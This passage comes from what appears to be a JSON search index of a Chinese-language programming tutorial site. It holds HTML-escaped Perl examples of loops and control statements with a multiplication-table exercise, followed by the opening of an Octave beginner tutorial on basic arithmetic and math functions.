(B)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;boy\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mary\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;gril\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003ekeys\u003c/span\u003e \u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# 印出 %hash 所有元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$key is $hash{$key}\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (C)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 倒裝\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (D) foreach 可簡寫成 for\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (6) last, next and redo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$something\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# redo 跳到這裡重新開始\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# something ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$ok\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003enext\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# next 跳過目前此次迭代\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$oops\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eredo\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# redo 重新執行目前此次迭代\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# something ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$error\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003elast\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# last 會終止圈\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# something ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# next 跳到這裡\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# last 跳到這裡繼續執行\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：next, last 與 redo 皆可用在 for,foreach,while 與 until 等迴圈。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (7) if\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (A)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$a \u0026gt; 3\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"k\"\u003eelsif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$a \u0026lt; 3\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$a = 3\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (B)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 倒裝，等同於： if ($val\u0026gt;0) { print $val; }\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$val\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nv\"\u003e$val\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (8) unless (與 if 相反)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$a \u0026gt; 4\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003eunless\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 練習一\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 1.寫一個 perl script 印出九九乘法表\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 基本版\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$j\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 排版整齊\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$j\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nv\"\u003e$j\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 精簡版\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprintf\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;%dx%d=%-3d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 迴圈與控制結構"},{"content":"針對 Octave 初學者的入門教學，包含基本的 Octave 使用方式、簡單的數值運算、向量與矩陣、線性聯立方程式、微分方程式、繪圖與其他常用的功能。\n開啟 Octave 首先開啟 Octave 軟體（若您的系統尚未安裝 Octave 軟體，請參考下載與安裝 Octave），若您的系統是 Linux 則直接在終端機（terminal）下執行 octave 指令即可：\noctave 若是 Windows 則在安裝完成後桌面上應該就會有 Octave 的啟動圖示，或是在開始功能表中也會有。\nOctave 在開啟時會出現一些訊息，首先是版權宣告與一些注意事項，接著最後一行 octave:1\u0026gt; 是 Octave 的提示符號，從這裡可以輸入指令操作 Octave，冒號之後的數字是標示輸入的指令編號，從 1 開始依序遞增。若要離開 Octave 則輸入 quit 或 exit 按下 Enter 鍵。在本教學中的程式碼都可以直接複製後貼在這裡執行，若需要複製與貼上的功能，可以點選視窗左上角的圖示即會出現選單，若要複製命令列中的文字，可先使用標記功能將文字選取後再複製（或是選取後點滑鼠右鍵）：\n要將程式碼貼在 Octave 中，除了使用選單的功能外，亦可以將程式碼複製後，在 Octave 視窗中點滑鼠右鍵貼上。\n簡單的計算 Octave 最簡單的使用方式就是把 Octave 當作計算機使用，包含加減乘除（+、-、*、/）與指數（^）等，都可以直接用在 Octave 中，操作的方式就直接在 Octave 中的提示符號（Octave 預設的提示符號是 octave:##\u0026gt;，## 是行的編號）之後輸入指令，再按下 Enter 鍵，Octave 就會執行使用者所輸入的指令，並傳回結果，例如要計算 12 加 3 乘上 7，則在提示符號後輸入：\n12 + 3 * 7 輸入完之後，按下 Enter 鍵，Octave 就會執行使用者所輸入的指令，輸出為 ans = 33 Octave 預設會將結果儲存在 ans 變數之中。\nOctave 亦可以使用指數，例如計算 2 的 3 次方：\n2 ^ 3 輸出為 ans = 8\n括弧 () 亦可以在 Octave 中使用：\n(1 + 2)^2 輸出為 ans = 9\n亦可使用變數，例如將變數 a 指定為 10：\na = 10 使用變數做各種運算：\nb = (a + 10) * 2 c = b / 2 除了一般的運算之外，Octave 也提供了很多數學上基本的函數：\ncos()：Cosine of an angle sin()：Sine of an angle tan()：Tangent of an angle exp()：Exponential function log()：Natural logarithm log10()：Logarithm to base 10 sinh()：Hyperbolic sine cosh()：Hyperbolic cosine tanh()：Hyperbolic tangent acos()：Inverse cosine acosh()：Inverse hyperbolic cosine asin()：Inverse sine asinh()：Inverse hyperbolic sine atan()：Inverse tangent atan2()：Two-argument form of inverse tangent atanh()：Inverse hyperbolic tangent abs()：絕對值 sign()：Sign of the number（-1 或 +1） round()：Round to the nearest integer floor()：Round down（towards minus infinity） ceil()：Round up（towards plus infinity） fix()：Found towards zero rem()：Remainder after integer division sqrt()：平方根。 例如：\nexp(1) ans = 2.7183\nexp( (4.5 - 